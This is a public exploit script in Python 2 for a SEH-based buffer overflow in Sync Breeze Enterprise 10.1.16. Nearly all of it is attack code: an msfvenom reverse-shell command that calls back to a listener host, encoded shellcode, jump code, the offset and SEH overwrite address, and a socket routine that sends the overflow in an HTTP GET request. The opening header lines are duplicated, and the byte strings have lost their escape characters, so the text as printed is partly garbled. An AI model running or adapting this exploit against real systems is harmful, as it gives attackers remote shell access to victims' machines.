Sync Breeze Enterprise 10.1.16 SEH Overflow

#!/usr/bin/env python
#
# Exploit Title : Sync Breeze Enterprise v10.1.16 0day
# Date : 10/11/2017
# Vendor HomePage : http://www.syncbreeze.com
# Exploit Author #!/usr/bin/env python
#
# Exploit Title : Sync Breeze Enterprise v10.1.16 0day
# Date : 10/11/2017
# Vendor HomePage : http://www.syncbreeze.com
# Exploit Author : Milton Valencia (wetw0rk)
# Software : http://www.syncbreeze.com/downloads.html
# Version : 10.1.16
# Tested on : Windows 7 (x86)
#
# Description : Sync Breeze Enterprise 10.1.16 suffers from a SEH based
# vulnerability. Successful exploitation results in remote
# access.
#
# Special Greetz : Corelan, Offsec, Abatchy (top llama), Seamus, N4ss4r
# Ryan, Miguel (best boss..), everyone at https://netsecfocus.slack.com/
#

import sys, socket, struct

try:
host = sys.argv[1]
port = int(sys.argv[2])

except IndexError:

print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)

print "[->] Attacking %s:%d get that handler up" % (host,port)

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "x00x0ax0d" -f c
shellcode = (
"x89xe3xdaxdfxd9x73xf4x5ex56x59x49x49x49x49x43"
"x43x43x43x43x43x51x5ax56x54x58x33x30x56x58x34"
"x41x50x30x41x33x48x48x30x41x30x30x41x42x41x41"
"x42x54x41x41x51x32x41x42x32x42x42x30x42x42x58"
"x50x38x41x43x4ax4ax49x4bx4cx5ax48x4cx42x33x30"
"x35x50x53x30x33x50x4bx39x4ax45x46x51x39x50x35"
"x34x4cx4bx30x50x46x50x4cx4bx46x32x44x4cx4cx4b"
"x36x32x42x34x4cx4bx53x42x46x48x54x4fx4ex57x30"
"x4ax56x46x56x51x4bx4fx4ex4cx37x4cx55x31x43x4c"
"x34x42x36x4cx47x50x59x51x58x4fx44x4dx43x31x38"
"x47x4dx32x5ax52x50x52x46x37x4cx4bx30x52x42x30"
"x4cx4bx31x5ax37x4cx4cx4bx50x4cx54x51x54x38x4b"
"x53x30x48x55x51x38x51x50x51x4cx4bx51x49x37x50"
"x35x51x59x43x4cx4bx50x49x54x58x4bx53x57x4ax30"
"x49x4cx4bx46x54x4cx4bx53x31x59x46x50x31x4bx4f"
"x4ex4cx59x51x48x4fx34x4dx45x51x38x47x57x48x4b"
"x50x53x45x5ax56x43x33x53x4dx4cx38x47x4bx43x4d"
"x46x44x53x45x4ax44x36x38x4cx4bx31x48x46x44x35"
"x51x4ex33x52x46x4cx4bx44x4cx50x4bx4cx4bx50x58"
"x45x4cx33x31x48x53x4cx4bx44x44x4cx4bx43x31x58"
"x50x4cx49x50x44x36x44x36x44x51x4bx51x4bx35x31"
"x31x49x31x4ax36x31x4bx4fx4dx30x31x4fx51x4fx31"
"x4ax4cx4bx55x42x5ax4bx4cx4dx31x4dx32x48x46x53"
"x50x32x53x30x35x50x33x58x34x37x34x33x30x32x31"
"x4fx56x34x53x58x50x4cx33x47x46x46x45x57x4bx4f"
"x39x45x38x38x5ax30x35x51x45x50x35x50x36x49x49"
"x54x46x34x46x30x35x38x37x59x4dx50x42x4bx33x30"
"x4bx4fx59x45x56x30x56x30x30x50x36x30x47x30x36"
"x30x57x30x46x30x42x48x5ax4ax44x4fx39x4fx4dx30"
"x4bx4fx4ex35x5ax37x43x5ax44x45x32x48x39x50x4f"
"x58x45x50x42x30x32x48x43x32x43x30x45x51x4fx4b"
"x4dx59x4ax46x43x5ax32x30x31x46x51x47x43x58x4d"
"x49x4ex45x54x34x33x51x4bx4fx48x55x4dx55x49x50"
"x54x34x34x4cx4bx4fx50x4ex55x58x43x45x4ax4cx33"
"x58x4cx30x38x35x4ex42x31x46x4bx4fx49x45x43x58"
"x55x33x52x4dx33x54x35x50x4dx59x5ax43x46x37x30"
"x57x51x47x50x31x5ax56x32x4ax52x32x51x49x36x36"
"x4dx32x4bx4dx52x46x4fx37x51x54x31x34x37x4cx33"
"x31x55x51x4cx4dx50x44x31x34x42x30x58x46x33x30"
"x47x34x31x44x46x30x31x46x56x36x46x36x51x56x46"
"x36x50x4ex50x56x56x36x31x43x30x56x53x58x32x59"
"x58x4cx47x4fx4bx36x4bx4fx4ex35x4cx49x4bx50x30"
"x4ex46x36x50x46x4bx4fx36x50x42x48x53x38x4bx37"
"x35x4dx45x30x4bx4fx59x45x4fx4bx4cx30x38x35x4f"
"x52x56x36x33x58x4fx56x4ax35x4fx4dx4dx4dx4bx4f"
"x48x55x57x4cx34x46x33x4cx34x4ax4dx50x4bx4bx4d"
"x30x44x35x33x35x4fx4bx51x57x34x53x42x52x42x4f"
"x53x5ax35x50x46x33x4bx4fx48x55x41x41"
)

# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "x25x4ax4dx4ex55" # and eax,0x554e4d4a
jumpcode += "x25x35x32x31x2a" # and eax,0x2a313235
jumpcode += "x2dx37x37x37x37" # sub eax,0x37373737
jumpcode += "x2dx74x74x74x74" # sub eax,0x74747474
jumpcode += "x2dx55x54x55x70" # sub eax,0x70555455
jumpcode += "x50" # push eax
jumpcode += "x25x4ax4dx4ex55" # and eax,0x554e4d4a
jumpcode += "x25x35x32x31x2a" # and eax,0x2a313235
jumpcode += "x2dx2dx76x7ax63" # sub eax,0x637a762d
jumpcode += "x2dx2dx76x7ax30" # sub eax,0x307a762d
jumpcode += "x2dx25x50x7ax30" # sub eax,0x307a5025
jumpcode += "x50" # push eax
jumpcode += "xffxe4" # jmp esp

offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "x74x06x75x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)

buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger

vulnREQ = "GET /%s HTTP/1.1 " % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ)